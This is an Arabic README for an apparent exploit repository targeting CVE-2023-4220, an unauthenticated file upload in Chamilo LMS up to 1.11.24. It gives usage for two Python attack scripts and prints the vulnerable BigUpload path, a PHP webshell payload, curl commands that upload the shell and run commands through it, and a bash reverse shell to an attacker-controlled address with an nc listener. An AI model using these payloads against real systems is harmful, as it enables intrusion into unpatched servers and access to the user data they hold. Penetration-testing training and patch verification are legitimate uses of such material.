
CVE-2023-4220 — رفع ملف غير مصرح به يؤدي إلى تنفيذ أوامر عن بُعد في Chamilo LMS الإصدار 1.11.24 وما دونه. استغلال على نمط OSCP واستغلال تلقائي.
نص بايثون لاستغلال CVE-2023-4220، وهي ثغرة رفع ملفات غير مصادق عليها تؤثر على Chamilo LMS <= 1.11.24.
تقع الثغرة في مكوّن BigUpload في Chamilo. في التثبيتات القابلة للاستغلال، يسمح معالج الرفع برفع ملف PHP دون التحقق المناسب. نظرًا لأن الملفات المرفوعة تُخزّن داخل دليل يمكن الوصول إليه عبر الويب، يمكن طلب ملف PHP المرفوع مباشرة واستخدامه كـ webshell إذا كان تنفيذ PHP ممكّنًا.
يحتوي هذا المستودع على نسختين من أداة الاستغلال:
chamilo_cve_2023_4220_auto.py
chamilo_cve_2023_4220_oscp.py
كلا النصين يرفعان webshell PHP، ويتحققان من تنفيذ الأوامر، ويسمحان بتشغيل الأوامر عبر معامل GET cmd. الفرق العملي الوحيد هو كيفية التعامل مع --shell.
الإصدار auto يبدأ المستمع الخاص به، ويُشغّل الـ reverse shell، ثم يتحول تلقائيًا إلى جلسة تفاعلية.
الإصدار oscp يُشغّل حمولة الـ reverse shell ولكنه لا يبدأ مستمعًا. يجب عليك بدء المستمع يدويًا قبل تشغيله.
استنساخ المستودع:
git clone https://github.com/SpeatX/ChamiloLMS-cve-2023-4220.git
cd ChamiloLMS-cve-2023-4220
تثبيت المتطلبات:
python3 -m pip install -r requirements.txt
الاعتماد الخارجي الوحيد هو requests، لذا يمكن تثبيته يدويًا أيضًا:
python3 -m pip install requests
يتم تمرير الهدف باستخدام -u أو --url:
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --check
نفس الخيارات متاحة في كلا النصين:
-u, --url رابط الهدف الأساسي
--check التحقق مما إذا كان دليل ملفات BigUpload يمكن الوصول إليه
--upload رفع الـ webshell والتحقق من تنفيذ الأوامر
--cmd CMD تنفيذ أمر واحد عبر الـ webshell المرفوع
--shell LHOST LPORT تشغيل reverse shell
--filename NAME استخدام اسم مخصص لملف PHP المرفوع
--proxy PROXY إرسال الحركة عبر وكيل، مثل Burp Suite
--timeout SECONDS تعيين مهلة HTTP
--verify-tls تفعيل التحقق من شهادة TLS
--cleanup محاولة إزالة الـ webshell المرفوع بعد التنفيذ
الإصدار التلقائي يتضمن أيضًا:
--listen-timeout SEC الوقت المطلوب لانتظار اتصال الـ reverse shell
التحقق مما إذا كان مسار BigUpload المتوقع يمكن الوصول إليه:
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --check
رفع الـ webshell PHP والتحقق من تنفيذ الأوامر:
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --upload
تنفيذ أمر واحد:
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --cmd id
استخدام اسم ملف مخصص:
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --cmd whoami --filename shell.php
إرسال الحركة عبر Burp Suite:
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --cmd id --proxy http://127.0.0.1:8080
الأمثلة أعلاه تستخدم النص auto، ولكن يمكن استخدام نفس الصيغة مع chamilo_cve_2023_4220_oscp.py.
خيار --shell موجود في كلا النصين، لكنه يتصرف بشكل مختلف اعتمادًا على الإصدار المستخدم.
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --shell 10.10.14.3 4444
هذا الإصدار يبدأ مستمعًا محليًا على 10.10.14.3:4444، ويرفع الـ webshell، ويُشغّل الـ reverse shell، ويفتح الجلسة التفاعلية تلقائيًا.
لا تحتاج لتشغيل nc يدويًا عند استخدام هذا الإصدار.
ابدأ المستمع يدويًا أولاً:
sudo nc -nlvp 4444
ثم قم بتشغيل أداة الاستغلال من طرفية أخرى:
python3 chamilo_cve_2023_4220_oscp.py -u http://target.com --shell 10.10.14.3 4444
هذا الإصدار يُرسل فقط حمولة الـ reverse shell عبر الـ webshell المرفوع. يتم استقبال الاتصال بواسطة المستمع الذي بدأته يدويًا.
أمر الـ reverse shell الذي يُشغله كلا النصين يعادل:
bash -c 'bash -i >& /dev/tcp/10.10.14.3/4444 0>&1'
تأكد من أن قيمة LHOST يمكن الوصول إليها من الهدف. في بيئات VPN، عادةً ما يكون هذا هو عنوان واجهة النفق الخاصة بك:
ip -brief addr show tun0
CVE-2023-4220 تؤثر على إصدارات Chamilo LMS حتى 1.11.24.
يقع معالج الرفع القابل للاستغلال في:
/main/inc/lib/javascript/bigupload/inc/bigUpload.php
الإجراء الذي تستخدمه أداة الاستغلال هو:
?action=post-unsupported
الملفات المرفوعة غالبًا ما يمكن الوصول إليها من:
/main/inc/lib/javascript/bigupload/files/
ترسل أداة الاستغلال طلب POST من نوع multipart/form-data باستخدام حقل النموذج الذي يتوقعه BigUpload:
bigUploadFile
حمولة PHP المرفوعة هي غلاف أوامر صغير:
<?php echo "__SPX_START__"; system($_GET["cmd"]); echo "__SPX_END__"; ?>
يتم تمرير الأوامر عبر معامل GET cmd:
http://target.com/main/inc/lib/javascript/bigupload/files/shell.php?cmd=id
تُستخدم العلامات حول مخرجات الأمر لاستخراج الجزء ذي الصلة من استجابة HTTP.
الرفع الذي تقوم به النصوص يعادل:
curl -i -s -X POST \
-F '[email protected];filename=shell.php' \
'http://target.com/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'
بعد الرفع الناجح، يمكن اختبار تنفيذ الأمر باستخدام:
curl 'http://target.com/main/inc/lib/javascript/bigupload/files/shell.php?cmd=id'
--check يتحقق فقط مما إذا كان دليل ملفات BigUpload المتوقع يمكن الوصول إليه. النتيجة الإيجابية لا تضمان أن الهدف قابل للاستغلال.
التحقق الكامل يتطلب رفع حمولة PHP وتأكيد تنفيذ الأمر باستخدام --upload أو --cmd.
إذا نجح الرفع ولكن فشل تنفيذ الأمر، فقد يكون تنفيذ PHP معطلاً في دليل الرفع، أو قد يكون الهدف مصححًا، أو قد تكون هناك قاعدة من جانب الخادم تمنع الطلب.
استخدم --cleanup إذا كنت تريد أن يحاول البرنامج النصي إزالة ملف PHP المرفوع بعد التنفيذ.